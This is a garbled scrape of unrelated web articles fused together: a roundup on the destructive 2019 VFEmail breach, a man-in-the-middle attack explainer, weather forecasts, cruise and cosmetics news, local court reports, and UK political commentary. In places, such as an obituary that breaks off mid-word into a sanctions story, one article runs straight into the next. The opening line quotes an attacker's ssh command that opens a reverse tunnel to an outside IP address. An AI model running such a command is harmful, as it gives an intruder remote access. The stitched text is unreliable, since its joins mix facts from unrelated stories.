via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error -oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R 127.0.0.1:30081:127.0.0.1:22 -N  VFEmail.net (@VFEmail) February 11, 2019

VFEmail then tweeted, I fear all US based data may be lost. The unknown attacker had wiped all the disks on every server:

At this time, the attacker has formatted all the disks on every server. Every VM is lost. Every file server is lost, every backup server is lost. NL was 100% hosted with a vastly smaller dataset. NL backups by the provideer were intact, and service should be up there.  VFEmail.net (@VFEmail) February 11, 2019

The hacker was out for blood  just attack and destroy.

Strangely, not all VMs shared the same authentication, but all were destroyed. This was more than a multi-password via ssh exploit, and there was no ransom. Just attack and destroy.  VFEmail.net (@VFEmail) February 11, 2019

In one fell swoop, an attacker had destroyed VFEmails entire infrastructure. As for the scary part, Romero tweeted:

Not 'A', an entire infrastructure.

Mail hasts, VM hosts,sql server cluster, hosted vms.

If they all had one password, sure, but they didn't. That's the scary part.  Havokmon (@Havokmon) February 12, 2019

On Monday, free users were advised to not attempt to send email because there is currently no delivery for free accounts. The incident page warned: At this time I am unsure of the status of existing mail for US users. If you have your own email client, DO NOT TRY TO MAKE IT WORK. If you reconnect your client to your new mailbox, all your local mail will be lost.

VFEmail service has since been restored, and new mail is being delivered. Today, users were advised, If you are unable to login, send yourself an email from another location. Receipt of an email creates your new mailbox. The email provider is discussing possible data recovery options with an unnamed vendor.

As pointed out by Krebs on Security, this is far from the first time that VFEmail has been the victim of a targeted attack. It was disrupted by DDoS attacks in 2015, 2017, and 2018 when Romero tweeted, After 17 years if I was planning to shut it down, itd be shut down by me  not script kiddies.

More cybersecurity news

Researchers devise method to hide malware in Intel systems so antivirus cant get to it

While were on the topic of scary stuff, security researchers came up with a new technique to hide malicious code from security software on systems that have Intel processors by burying the malware in the secure memory of Intel SGX enclaves. In addition to writing a research paper (pdf), the researchers also published proof-of-concept code that can bypass ASLR, stack canaries, and address sanitizer, the overall exploit process took only 20.8 seconds.

Websites and companies hacked

Sixteen sites were hacked and then the resulting 617 million account details were stolen and put up for sale on the dark web; the data is selling for less than $20,000 in bitcoin. According to The Register, the hacked sites included 500px, MyFitnessPal, Dubsmash, MyHeritage, Whitepages, Fotolog, ShareThis, HauteLook, 8fit, EyeEm, Artsy, Animoto, BookMate, Armor Games, CoffeeMeetsBagel, and DataCamp.

Speaking of hacked, Dunkin Donuts admitted (pdf) to suffering another credential stuffing attack  its the second time in a three-month period.

Also, Trulucks Seafood, Steak & Crab House announced the compromise of payment card information after it was notified by the FBI about potential unauthorized access. Affected customers will have made purchases between November 21, 2018, and December 8, 2018, at the following locations: Houston (Downtown), Houston (The Woodlands), Dallas, Austin (Downtown), Austin (Arboretum), Naples, Southlake, and Chicago.

Apophis Squad hacker faces 11-count federal indictment

Remember in December when hundreds of schools and businesses received fake bomb threat emails? The Justice Department announced that the FBI had arrested a 20-year-old North Carolina man who is part of the hacking group Apophis Squad. Timothy Vaughn faces an 11-count federal indictment that could land him a maximum sentence of 80 years in prison. The second defendant, and 19-year-old alleged leader of the group, was arrested in the U.K. last year and sentenced to three years in prison for making a bogus threat targeting an airliner.

You may remember when the Apophis Squad had bragged:

Feds cant touch us. NCA cant touch us. KEK we the big bois running around the internet with our 1337 bootnet! Come catch us we are untouchable! Living on TOR nodes and Open DNS. Smoking that good stuff with our bois at radware.  APOPHIS SQUAD (@apophissquadv2) July 18, 2018

Amusing tweets from the week

Beg bounty  new term for the day

I just learned a new term - "beg bounty" ie scanning a network without permission and then asking to be paid for vulnerabilities found  Quentyn Taylor (@quentynblog) February 13, 2019

A true, yet funny comment by security expert Jeremiah Grossman in response to the question, Without using the title of your job, tell me what you do.A man-in-the-middle (MitM) attack is when an attacker intercepts communications between two parties either to secretly eavesdrop or modify traffic traveling between the two. Attackers might use MitM attacks to steal login credentials or personal information, spy on the victim, or sabotage communications or corrupt data.

MITM attacks are a tactical means to an end, says Zeki Turedi, technology strategist, EMEA at CrowdStrike. The aim could be spying on individuals or groups to redirecting efforts, funds, resources, or attention.

Though MitM can be protected against with encryption, successful attackers will either reroute traffic to phishing sites designed to look legitimate or simply pass on traffic to its intended destination once harvested or recorded, meaning detection of such attacks is incredibly difficult.

How man-in-the-middle attacks work

MitM attacks are one of the oldest forms of cyber attack. Computer scientists have been looking at ways to prevent threat actors tampering or eavesdropping on communications since the early 1980s.

MitM attacks consist of sitting between the connection of two parties and either observing or manipulating traffic. This could be through interfering with legitimate networks or creating fake networks that the attacker controls. Compromised traffic is then stripped of any encryption in order to steal, change or reroute that traffic to the attackers destination of choice (such as a phishing log-in site). Because attackers may be silently observing or re-encrypting intercepted traffic to its intended source once recorded or edited, it can be a difficult attack to spot.

MitM attacks are attacks where the attacker is actually sitting between the victim and a legitimate host the victim is trying to connect to, says Johannes Ullrich, dean of research at SANS Technology Institute. So, they're either passively listening in on the connection or they're actually intercepting the connection, terminating it and setting up a new connection to the destination.

MitM encompass a broad range of techniques and potential outcomes, depending on the target and the goal. For example, in SSL stripping, attackers establish an HTTPS connection between themselves and the server, but with an unsecured HTTP connection with the user, which means information is sent in plain text without encryption. Evil Twin attacks mirror legitimate Wi-Fi access points but are entirely controlled by malicious actors, who can now monitor, collect or manipulate all information the user sends.

These types of attacks can be for espionage or financial gain, or to just be disruptive, says Turedi. The damage caused can range from small to huge, depending on the attackers goals and ability to cause mischief.

In a banking scenario, an attacker could see that a user is making a transfer and change the destination account number or amount being sent. Threat actors could use man-in-the-middle attacks to harvest personal information or login credentials. If attackers detect that applications are being downloaded or updated, compromised updates that install malware can be sent instead of legitimate ones. The EvilGrade exploit kit was designed specifically to target poorly secured updates. Given that they often fail to encrypt traffic, mobile devices are particularly susceptible to this scenario.

These attacks can be easily automated, says SANS Institutes Ullrich. There are tools to automate this that look for passwords and write it into a file whenever they see one or they look to wait for particular requests like for downloads and send malicious traffic back.

While often these Wi-Fi or physical network attacks require proximity to your victim or targeted network, it is also possible to remotely compromise routing protocols. That's a more difficult and more sophisticated attack, explains Ullrich. Attackers are able to advertise themselves to the internet as being in charge of these IP addresses, and then the internet routes these IP addresses to the attacker and they again can now launch man-in-the-middle attacks.

They can also change the DNS settings for a particular domain [known as DNS spoofing], Ullrich continues. So, if you're going to particular website, you're actually connecting to the wrong IP address that the attacker provided, and again, the attacker can launch a man-in-the-middle attack.

While most attacks go through wired networks or Wi-Fi, it is also possible to conduct MitM attacks with fake cellphone towers. Law enforcement agencies across the U.S., Canada and the UK have been found using fake cell phone towers  known as stingrays  to gather information en masse. Stingray devices are also commercially available on the dark web.

Researchers from the Technical University of Berlin, ETH Zurich and SINTEF Digital in Norway recently discovered flaws in the authentication and key agreement (AKA) protocols used in 3G, 4G and due to be used in 5G wireless technology rollouts that could lead to attackers performing MitM attacks.

How common are man-in-the-middle attacks?

Though not as common as ransomware or phishing attacks, MitM attacks are an ever-present threat for organizations. IBM X-Forces Threat Intelligence Index 2018 says that 35 percent of exploitation activity involved attackers attempting to conduct MitM attacks, but hard numbers are difficult to come by.

I would say, based on anecdotal reports, that MitM attacks are not incredibly prevalent, says Alex Hinchliffe, threat intelligence analyst at Unit 42, Palo Alto Networks. Much of the same objectives  spying on data/communications, redirecting traffic and so on  can be done using malware installed on the victims system. If there are simpler ways to perform attacks, the adversary will often take the easy route.

A notable recent example was a group of Russian GRU agents who tried to hack into the office of the Organisation for the Prohibition of Chemical Weapons (OPCW) at The Hague using a Wi-Fi spoofing device.

Greater adoption of HTTPS and more in-browser warnings have reduced the potential threat of some MitM attacks. In 2017 the Electronic Frontier Foundation (EFF) reported that over half of all internet traffic is now encrypted, with Google now reporting that over 90 percent of traffic in some countries is now encrypted. Major browsers such as Chrome and Firefox will also warn users if they are at risk from MitM attacks. With the increased adoption of SSL and the introduction of modern browsers, such as Google Chrome, MitM attacks on Public WiFi hotspots have waned in popularity, says CrowdStrikes Turedi.

Today, what is commonly seen is the utilization of MitM principals in highly sophisticated attacks, Turedi adds. One example observed recently on open-source reporting was malware targeting a large financial organizations SWIFT network, in which a MitM technique was utilized to provide a false account balance in an effort to remain undetected as funds were maliciously being siphoned to the cybercriminals account.

The threat still exists, however. For example, the Retefe banking Trojan will reroute traffic from banking domains through servers controlled by the attacker, decrypting and modifying the request before re-encrypting the data and sending it on to the bank. A recently discovered flaw in the TLS protocol  including the newest 1.3 version  enables attackers to break the RSA key exchange and intercept data.

Man-in-the-middle attack prevention

Though flaws are sometimes discovered, encryption protocols such as TLS are the best way to help protect against MitM attacks. The latest version of TLS became the official standard in August 2018. There are also others such as SSH or newer protocols such as Googles QUIC.

For end-user education, encourage staff not to use open public Wi-Fi or Wi-Fi offerings at public places where possible, as this is much easier to spoof than cell phone connections, and tell them to heed warnings from browsers that sites or connections may not be legitimate. Use VPNs to help ensure secure connections.

The best methods include multi-factor authentication, maximizing network control and visibility and segmenting your network, says Palo Altos Hinchliffe.

Prevention is better than trying to remediate after an attack, especially an attack that is so hard to spot. These attacks are fundamentally sneaky and difficult for most traditional security appliances to initially detect, says Crowdstrikes Turedi.

If it becomes commercially viable, quantum cryptography could provide a robust protection against MitM attacks based on the theory that it is impossible to copy quantum data, and it cannot be observed without changing its state and therefore providing a strong indicator if traffic has been interfered with en route.

Is the internet of things the next frontier for MitM attacks?

Analysts predict the number of internet-connected devices could proliferate into the tens of billions of devices over the next five years. Unfortunately, the lack of security in many devices means the growth in IoT could see a jump in MitM attacks. CSO has previously reported on the potential for MitM-style attacks to be executed on IoT devices and either send false information back to the organization or the wrong instructions to the devices themselves.

IoT devices tend to be more vulnerable to attack because they don't implement a lot of the standard mitigations against MitM attacks, says Ullrich. A lot of IoT devices do not yet implement TLS or implemented older versions of it that are not as robust as the latest version.

A new survey by Ponemon Institute and OpenSky found that 61 percent of security practitioners in the U.S. say they cannot control the proliferation of IoT and IIoT devices within their companies, while 60 percent say they are unable to avoid security exploits and data breaches relating to IoT and IIoT.

With the mobile applications and IoT devices, there's nobody around and that's a problem; some of these applications, they will ignore these errors and still connect and that defeats the purpose of TLS, says Ullrich.Abilene, KS (67410)

Today

Thunderstorms during the morning hours, then skies turning partly cloudy during the afternoon. High 103F. Winds S at 15 to 25 mph. Chance of rain 90%..

Tonight

Partly cloudy early followed by cloudy skies overnight. A stray severe thunderstorm is possible. Low 71F. W winds shifting to NNE at 10 to 20 mph.Oceania Cruises today announced its 2021 "Around the World Cruise" in 180 Days aboard the Insignia.

The cruise will travel more than 39,000 nautical miles across three oceans and 44 seas while visiting 100 ports of call in 44 countries.

Departing Miami on January 9, 2021 and culminating in New York City on July 9, 2021, this six-continent voyage offers an unparalleled opportunity to travel the world, the company said.

This is a landmark itinerary for Oceania Cruises. Guests sail the world with us to experience extensive and all-encompassing itineraries. This world cruise is particularly exciting; six continents, three oceans and 44 countries; its an itinerary designed to appeal to the Kipling in all of us, matching our famous on-board luxury with personal and profound visits to the worlds most compelling destinations, stated Bob Binder, President and CEO of Oceania Cruises.

Among the highlights are 125 UNESCO World Heritage Sites, three days in Yangon, three days in Istanbul, and overnights in Bora Bora, Cairns, Hong Kong, Saigon, Bangkok, Singapore, Mumbai, Dubai, Luxor, Jerusalem, Venice, Lisbon, Seville, and Bordeaux.

There are also Overland Tours ranging from one to three nights:

Magical Uluru: Ayers Rock. 3 Nights.

Magnificent Macau. 1 Night.

Hue, Da Nang, and Hoi An. 2 Nights

Angkor Wat. 2 Nights.

Ancient Temples of Bagan. 1 Night.

Taj Mahal  The Eternal Masterpiece. 3 Nights.

Himalayan Kingdom of Nepal. 3 Nights.

Luxor & The Pyramids. 1 Night.

Traditional and Ancient Spain. 1 Night.Student Barb Grunewald supervises with Amy Aaker and Todd Munson.

Grove City teachers ask starting pay of $7,200  At the first meeting between the Board of Education and the local Teacher association in Grove City on Thursday, Feb. 13, the teachers proposed teh following schedule for the 1969-70 school year: A starting salary of $7,200 for a degree teacher, increasing to $10,800 after 10 years of experience. A starting salary of $8,000 for a Master's Degree teacher, increasing to $11,800 after 10 years of experience. At present the starting salary is $6,000 for a Bachelor's.Hutchinson, MN (55350)

Today

Some sun this morning with increasing clouds this afternoon. High 88F. Winds N at 5 to 10 mph..

Tonight

Partly cloudy. Low near 60F. Winds NNE at 5 to 10 mph.He is preceded in death by his father, Leonard Hayes; and niece, Kayla Hayes. He is survived by son, Cody Hayes of Dayton; daughter, Katie Hayes of Rockwood; mother, Opal Hayes of Rockwood; brothers, Randall (Rita) Hayes of Georgia, Greg (Tammy) Hayes of Rockwood, Darrell (Tracy) Hayes of RoTo settle a potential civil liability for violating North Korea Sanctions Regulations156 of them, to be exacte.l.f. Beauty has agreed to pay $996,080.

CNBC reports that, according to the U.S. Office of Foreign Assets Control, the company imported 156 shipments of false eyelash kits (a value of $4.43 million) from two Chinese supplierswith materials sourced from North Korea. The kits were imported approximately between April 1, 2012 and Jan. 28, 2017.

The company said it realized the issue after a self-audit of third-party suppliers.

During a routine, self-administered audit in early 2017, we discovered two third-party suppliers utilized some materials from the Democratic Peoples Republic of Korea to produce certain false eyelash kits, e.l.f. Beauty chairman and CEO Tarang Amin told the outlet. Amin noted his company was not aware of the origin of the materials. These false eyelash kits represented less than 1% of e.l.f.s revenue at the time.

Related: Stockholder Urges e.l.f to Reinvigorate Good Corporate Governance

The Office of Foreign Assets Control, part of the Treasury Department, said in a statement that it agreed that the company did not appear to know the material was from North Korea. It also noted that the violations did not make up a significant portion of the companys business, and that it immediately disclosed the violation.

We take great pride in doing the right thing and having strong compliance and quality assurance programs, Amin said. In our 15-year history, we have delivered the best combination of quality, cost and speed in our industry. We are continually enhancing our quality assurance program and are committed to ensuring that all of our products are produced legally and responsibly.

Calling it a cautionary tale for other retailers, attorney Seth Berenzweig, managing partner of Berenzweig Leonard LLP, stated: The only reason the Treasury Department went easy on [e.l.f. Beauty] was because it self-reported and agreed to put in a lot of controls in place to avoid this in the future.Barrons has released its annual ranking of the 100 Most Sustainable U.S. Companies, including several organizations in the cosmetics and personal care sector.

The publication analyzed the 1,000 largest publicly held companies headquartered in the United States. Each was rated on its demonstrated responsibility in five key categories: shareholder, employees, customers, community and planet. More than 230 key performance indicators were considered.

Companies on the list (and their rankings) include:

Personal Care/Cosmetics

Clorox (7)

Colgate-Palmolive (19)

Estee Lauder (45)

Suppliers

International Flavors & Fragrances (58)

Aptar Group (72)

Retailers

Target (35)

Macys (57)

Food

McCormick (22)

Kellogg (33)

Campbell Soul (61)

Hersey (64)

PepsiCo (66)

Coca-Cola (92)The natural cosmetic market keeps growing, largely because of consumer preference toward sustainable solutions. Evonik's natural-based ingredients meet that demand.

"The trend in cosmetics is now much more towards naturalness and sustainability," commented Tammo Boinowitz, Ph.D., head of Evoniks Personal Care Business Line, in a press release before the most recent Sepawa Congress, where the company explored that trend.

Related: [video] Evonik Transforms Sustainable Production, Delves into Anti-aging, Hair Care and Microbiome

Active Innovations

Based on olives, Hairflux (INCI: Ceramide NG (and) Olea Europaea (Olive) Fruit Oil (and) Ricinus Communis (Castor) Seed Oil) is a ceramide composition that reportedly strengthens damaged hair while soothing irritated scalps. It has been approved for the Chinese market, and can be used in hair lotions; scalp-care products; and shampoos and rinses for damaged hair.

For skin brightening, Tego Enlight (INCI: Morus Alba Fruit Extract (and) Sodium Phytate (and) Water (aqua) (and) Glycerin (and) Alcohol) is meant to lighten age spots and whiten skin. Its white mulberry and phytic acid salt components add antioxidative benefits to the ingredient.

Sustainable Emulsifiers

Isolan 17 (INCI: Polyglyceryl-4 Diisostearate/Polyhydroxystearate/ Sebacate (and) Caprylic/Capric Triglyceride (and) Polyglyceryl-3 Oleate (and) Diisostearoyl Polyglyceryl-3 Dimer Dilinoleate) is a versatile, plant-based emulsifier for natural w/o systems, including quick-breaking emulsions, aerosols and sprays. It leaves a nonoily skin feel and can be used to foster a range of sensory impressions.

Meanwhile, Dermofeel NC (INCI: Polygylceryl-3 Distearate (and) Glyceryl Stearate Citrate) is an emulsifier for o/w systems, this ingredient is based on renewable raw materials and functions over a wide pH range of 3.5-8.5. It is Cosmos-certified.

The ingredients were presented together at the 2018 Sepawa Congress in Berlin. There, the company also showed its Skinolance (INCI: Lactobacillus Extract Filtrate (and) Propylene Glycol (and) Water (aqua)) microbiotic ingredient, along with Rheance One (INCI: Glycolipids), a fermented glycolipid for mild cleansing.We are analyzing the site. Please wait a few seconds..Judge Jeffrey Cramer recently addressed several matters in Wetzel County Circuit Court. Those matters are as follows:

*

Hannah Thomas, 28, of Paden City, appeared in court alongside Attorney David White for an adjudicatory hearing on a petition to revoke probation. Thomas pleaded to unlawful assault in November 2017 and was sentenced to one to five years in prison. That sentence was suspended, and she was placed on 18 months of supervised probation.

At a Feb. 6 hearing White told the court that Thomas was willing to admit to probation violations, and he said he believed a resolution has been reached. He explained his client is facing criminal charges in Ohio and will soon be serving time there, which he believes will take care of the West Virginia charges. It was noted Thomas has a four-count probation violation and is currently on bond in W.Va.

The case was continued, pending the Ohio charges

*

Robert Lemasters, 44. of Folsom, W.Va., did not appear in court as scheduled on Wednesday for a petition to revoke probation hearing. Judge Cramer was advised that Lemasters had just had surgery and was not able to be in court.

Lemasters is charged with violating the terms of his supervised probation. He is on probation after admitting to manufacturing a controlled substance, marijuana. Judge Cramer rescheduled the hearing for Feb. 21, at 1:45 p.m.

*

Joshua Streight, 31, of 214 South 2nd Ave., Paden City, was previously indicted by the grand jury, charging him with one felony count of malicious assault, having alleged to occur between November 30, 2017 and December 1, 2017.

Streight appeared in court on Feb. 6 without counsel and was informed by Judge Cramer that he didnt qualify for a public defender, as his income was too high.

He was ordered to return to court on Feb. 21, at 2 p.m. and was advised to hire an attorney. Streight is free on bond, which was allowed to continue.

*

Cody Baters, 31, of Clarington, Ohio, appeared in court for an arraignment hearing on charges handed down by the January term of the Wetzel County Grand Jury. Baters was indicted on a felony count of entry of a building other than a dwelling with the intent to commit larceny, and count two  a misdemeanor crime of petit larceny. He was placed on a $10,000 cash/surety bond by Judge Cramer and ordered to appear back in court on Feb. 21, at 2:30 p.m. He was remanded to jail, pending bond.

*

Gavin Wade, of Wetzel County, appeared in court on a probation revocation hearing. Attorney Brett Ferro told the court that Wade was not ready for admission and was willing to waive the preliminary hearing . Judge Cramer set a return date of March 6, at 3 p.m. for an adjudicatory hearing on the petition to revoke extended supervised release. Morris was remanded to jail, pending the hearing.

*

Ryan Schostag, 31, appeared in court alongside Attorney Ferro for a probation revocation hearing. The probation office filed to have his probation revoked because he failed to report to the probation officer for 9-10 months. Schostag said he was willing to admit to the violation and it did indeed occur. He said he was working steady and got lax in reporting and he knows he made a mistake. Prosecutor Tim Haught told the court that technically this was Schostags second violation, which carries a 120-day sanction. Ferro argued for work release and home confinement.

Judge Cramer allowed Schostag to be released on home confinement with work release and reminded him to report as directed by the probation office. Schostag is to be responsible for all fees associated with his release. He was ordered released from jail immediately.

*

James Haught, 24, of 717 Sixth Street, New Martinsville, appeared in court alongside Attorney Brett Ferro for an adjudication hearing to revoke extended supervised release probation. Haught was on extended supervised release as a sexual offender and has been accused of violating his probation by being around underage children, in particular a high school girl at John Marshall. James Haught admitted in court to picking a girl up at John Marshall and taking her to Cameron. Wetzel County Prosecutor Tim Haught told the court this was the second time the defendant had violated probation, and he said he would recommend the minimum sentence of five years. Ferro argued for his client, requesting the court to allow James Haught to remain on probation, or at least give a reduced sentence. Ferro said the girl James Haught was with will be of legal age in March. Ferro said he feels James Haught would not be a threat to anyone, plus he would be able to remain employed.

James Haught spoke on his own behalf, explaining he was in love with the girl and wanted to be with her. He said he admits to taking her home on one occasion, and after he found out his probation was going to be revoked, he decided to go ahead and spend time with the girl.

James Haughts mother also spoke to the court on his behalf.

Judge Cramer heard the testimony and recommendation from the state and then stated he felt it was more than just a probation violation. He said the defendant admits to being with the girl, even after knowing it wasnt allowed and knowing his probation would be revoked. Cramer sentenced Haught to the maximum sentence of 10 years in prison. He was remanded to serve his sentence.02/13/2019

Photo (c) MmeEmil - Getty Images A man who hoped to become a firefighter in Bridgeport, Connecticut is discovering what the disabled community and others have grappled with for decades: even legal marijuana use can cost a person their employment.

James Bulerin III was rejected from the same fire department where his father had built his career, and where he hoped to follow in his fathers footsteps, because he has a medical marijuana card and tested positive for the drug, he says. He is now suing for discrimination.

The city has disqualified him from being a firefighter, which is a clear violation of the state law, Bulerins lawyer told a local newspaper, referencing the state law that legalized medical marijuana in Connecticut in 2012.

Challenging policies

Its not the first lawsuit to challenge employers over their marijuana policy. Brandon Coats spent three years working in tech support for Dish Network, the broadcasting corporation headquartered Colorado, where voters legalized medical marijuana back in the year 2000.

The job was one of the few that Coats was able to do; a car accident in his youth left him paralyzed from the waist down and dependent on a wheelchair for his mobility. He obtained a medical marijuana card because the drug helped control his muscle spasms. Paralyzed patients and others with spinal injuries say that marijuana can help control clonus, the name for the condition that causes involuntary muscle spasms.

But none of this mattered to dish. In 2010, Coats was one of several dozen employees who was asked to take a random drug test. Coats was fired because he tested positive for THC, which is known to stay in a users system well after the high has worn off.

Coats sued. His lawsuit reached the Colorado Supreme Court, which ultimately ruled that employers could fire disabled people for legally using marijuana in states where it is regulated because the substance is still illegal under federal laws. Despite the disappointing outcome, Coats remained optimistic that this case could help others.

"I think it should be legalized and me bringing the lawsuit forward will help with that. Small steps, he told Consumer Affairs several years ago.

Meanwhile, the more recent case that Bulerin has filed against the city of Bridgeport is expected to have its next hearing on February 21.

As long as he is not using the drug during working hours, he cant be denied an employment opportunity, his attorney told a local newspaper.Some of the Conservative Partys most knowledgeable foreign affairs specialists are a bit sniffy about Gavin Williamsons defence policy speech earlier this week. One of its centre pieces was the announcement that the first operational mission of the HMS Queen Elizabeth will include the Mediterranean, the Middle East and the Pacific region. Significantly, British and American F35s will be embedded in the carriers air wing, he continued, with a nod to our close relationship with America, before speaking of enhancing the reach and lethality of our armed forces.

That sounds a lot like a metaphorical, though certainly not a literal, shot across Chinas bows in that last case. One senior MP with an interest in security policy told ConservativeHome that he is all for stepping up activity in the South China Sea. But if you go out every few years for a few months, theres no point. It doesnt show strength, it advertises weakness.

Williamsons answer to that might be to highlight the 1 billion that he screwed out of Philip Hammond in last autumns Budget, which itself came on top of an 800 million increase during the summer. One point of the speech was to signal that he will soon be back for more: after all, there is a 7 billion black hole in the Ministry of Defences equipment budgets. Without money to help reduce it, and more, the Defence Secretary will have no chance whatsoever of achieving the aims he set out. These were so striking that it is well worth pondering their implications.

Only a few years ago, when the Coalition Government was formed, Russia was not considered a serious danger to national security at all. It was only last year that Williamson tore up previous assumptions and told the Defence Select Committee that it is now a bigger threat to us than terrorism. And earlier this week, he duly added China to the list of British security problems: all the while, [it] is developing its modern military capability and its commercial power, he said. It was the most pro-intervention speech that any Defence Secretary has made since the Iraq War, listing Kuwait, Bosnia, Sierra Leone and Kosovo as earlier, successful, valuable incursions.

Hence his reference not only to cyber and to new drones for the RAF, but to new Poseidon P-8 Maritime Patrol Aircraft, new equipment for the army, and two naval littoral strike groups complete with escorts, support vessels and helicopters. One would be based East of Suez in the Indo-Pacific and one based West of Suez in the Mediterranean, Atlantic and Baltic.

All this raises three questions. First, is it the Governments collective position that China is no longer the friend that George Osborne saw it as, but is instead, in effect, a foe  or at least to be treated with a premis of suspicion? Second, are the voters really up for a more interventionist-leaning foreign and defence posture, especially at a time when America seems to be entering a period of relative isolationism? (We stand ready to support our friends in Ukraine and the Balkans, the Defence Secretary declared.) Finally, Williamsons programme implies higher defence spending still. Is the Treasury willing to fund it?



The speech might have been delivered in much the same way were Britain not due to leave the EU. There is no necessary connection between the re-ordering to which the Defence Secretary referred and Brexit. But quitting the EU does make a difference to defence policy. If we are to remain committed to our common continent, that implies solidifying the army presence in Eastern Europe  at a time when its manpower is at its lowest for more than a century. And if we are also to become Global Britain, that suggests extending our reach and capabilities.

Unlike many of his colleagues, Williamson has no military background and, in the Conservative Party, the post that he holds is greatly prized  and seen as almost on a rank with the great offices of state. His promotion was therefore not a popular one, and he has been widely briefed against.

Furthermore, the speech is bound to be read, by a cynical Westminster Village, as a leadership election preparation exercise. Our plea for the Defence Secretary is that he is damned if he does and also if he doesnt. If he sets out a policy direction, he will be accused of ulterior motives. If he doesnt, it will be claimed that he has nothing to say.

At a time when Brexit is all-consuming, and most Cabinet Ministers other than Michael Gove seem unwilling to make an impression, it ought to be thoroughly welcome that one of the others is developing a policy, even if you dont agree it  which by and large we do, as believers in higher defence spending.Nus Ghani is a Transport minister and Member of Parliament for Wealden.

Taxi and minicab drivers do a vital public service  whether thats helping the elderly to visit the supermarket, transporting children to school, or ensuring a safe journey home after an evening out.

But its crucial that everyone, including the most vulnerable, know that when they take a taxi ride they will be safe.

Sadly the recent child sexual exploitation scandals in Rotherham, Rochdale, Oxford, and Newcastle, in which some rogue drivers used their vehicles to facilitate assaults on young girls, have highlighted that this is not always the case.

Since I became a Minister at the Department for Transport last year I have made it my goal to ensure that everyone can use a taxi or minicab safely. I know first-hand how entirely women and girls in particular must place their trust in their driver.

Of course there are already many rules in place to ensure drivers are fit to carry out their jobs. In the vast majority of cases these regulations work well. However the Jay and Casey reports into the circumstances surrounding the Rotherham child sexual exploitation scandal, along with work by the Times, Daily Mail, and other newspapers, have highlighted how these rules could be strengthened and tightened.

For instance, while under current system taxi and minicab drivers must apply for a licence from a local authority, the standards they must meet to obtain one varies across the country. It means that drivers can get a licence in areas where the rules are applied less stringently  but they can then offer their services in places where they may have been refused a permit.

Last year an independent review commissioned by my Department laid out a series of recommendations as to how the current system might be improved. We have given the findings of the review, carried out by Professor Mohammed Abdel-Haq of the University of Bolton, great consideration, and today I am unveiling a package of comprehensive and tough measures  including new laws  that will ensure taxis and minicabs are safe for all.

These reforms will also ensure that reputations of honest drivers, who are overwhelmingly in the majority, are left untarnished by the criminal few. We plan to:

Introduce legislation that will set out minimum standards all drivers must meet before they can be issued with a licence;

Create a national database of all operators, vehicles and drivers, including those who have lost or been refused licences because of safety issues;

Bring in new powers which will enable authorities to take action against drivers found flouting regulations, regardless of where they are licensed;

Consider laws to prevent drivers from working anywhere in the country without restriction.

As part of new national minimum standards, the department will consider whether vehicles should be fitted with CCTV, using encrypted systems that mean footage can only be accessed if there is a crime reported.

In addition we are consulting on tough new guidance to licensing authorities that will improve safety of passengers. This includes; increasing the regularity of criminal record and background checks for drivers and new checks for taxi firm staff; tests to ensure drivers are proficient in English; and improved handling of customer complaints about rogue drivers.

Im of course very aware that the vast majority of taxi and minicab drivers are pillars of the community who would never dream of harming to a passenger or exploiting the rules. So we have taken great care to ensure that these measures do not make honest drivers vital and challenging work any harder.

Nor will these reforms will not stifle consumer choice or stunt the innovation in this sector  something the Government is keen to support through its Future of Mobility Grand Challenge, which aims to make Britain world leaders in the movement of goods, services and people. Already firms are creating some great developments, such as Citymappers Smartride system that harnesses technology to enable people to share rides.

So its clear: the future is exciting one for both passengers and drivers, and the measures I am outlining today will play a vital part in creating a world where taxis and minicabs are safe for all.Cllr Ferris Cowper is the Cabinet Member for Finance of East Hampshire District Council.

The great Peter Drucker was a committed believer in the benefits of change and once said If you want something new, you have to stop doing something old. Since leaving one of the great exemplars of modern industrial success, Mars, Inc., my 20 years in local government have taught me that we really need to embrace this notion.

There are so many somethings old that we cling to in local government. We have to raise taxes. We are risk averse. We cant make a profit. We dont pay our staff commercial rates. Some even wear the jobsworth badge with a resigned fatalism.

I want something new, like Drucker. At East Hampshire District Council we have been removing our unwanted somethings old for quite a few years now. Amongst the unwanted somethings old are freebie government hand-outs which used to kill off our sense of entrepreneurism, and levying Council Tax which hits rich and poor indiscriminately and makes you pay for things you dont use.

Over the past 20 years, (the time our Conservative administration has been in power at EHDC), we have the best District Council Tax record in Britain*.

The Local Government Associations latest benchmarking survey shows EHDC having the fourth highest resident satisfaction rate in the nation. (The benchmarking data for the councils in second and third place is at least 5 years old and ours is current)

Over that time front-line services have been improved dramatically with no cuts.

EHDC are finalists in this months Local Government Chronicle Entrepreneurial Council of the Year Awards.

All three of our corporate directors in post last summer are now Chief Executives, so we have peer recognition as well.

We have agreed to freeze Council Tax for the forthcoming financial year.

This success comes from a radical rethink of who we are. Of course we provide vital services for those that need them free of charge. That is never challenged because that is why we are here.

By the way, before readers tell me Im so lucky to live in a rich persons leafy lane paradise, we have wards with some of the worst deprivation statistics in England. At no cost to the taxpayer were rebuilding one of least affluent communities in record time with a total cross sector investment of 1 billion. Were about to launch a mold-breaking welfare strategy and weve even offered to take on local adult social care from the county council.

So what are we doing thats new?

We charge for services where customers have choice. We market and sell a range of products and services and in Regenco we have one of Britains most respected regeneration consultancies.

We invest and yes, we invest in commercial property. Before Lord Oakshott vents his spleen on us upstart competitors raining on his cosy parade, our property procedures in all aspects have been independently vetted by one of the top UK pension fund advisers.

We look hard at all our jobs and we cut out those that are unnecessary. EHDC taxpayers only pay for half of the top three layers of management because they are shared 50/50 with a neighbouring council. We share premises with the Police. We dont need these bloated overheads from the something old culture.

All of us in the public sector have to face the fact there just isnt enough tax in the economy to pay for all these public services. Thats why the public sector, across the board is in a shocking financial mess. This tax-and-handouts based financial framework is delivering embarrassing adult social care for our elderly folk and a progressively weakening NHS. Colleagues, its nothing whatsoever to be proud of.

But Im proud of my Council because we improve services all the time, we cut tax in cash terms to be the best in Britain and we have one of the highest customer satisfaction rates in the nation. We did that because we wanted something new and to get that we stopped doing something old.

That should be the mantra of all in public service in order to lead the nation towards post-Brexit prosperity.Brexit 1) Remainers back away from plans for Valentines Day showdown

but are preparing fresh attempt to block no deal  Daily Express

Cooper sets out plans for new high noon showdown  Daily Mail

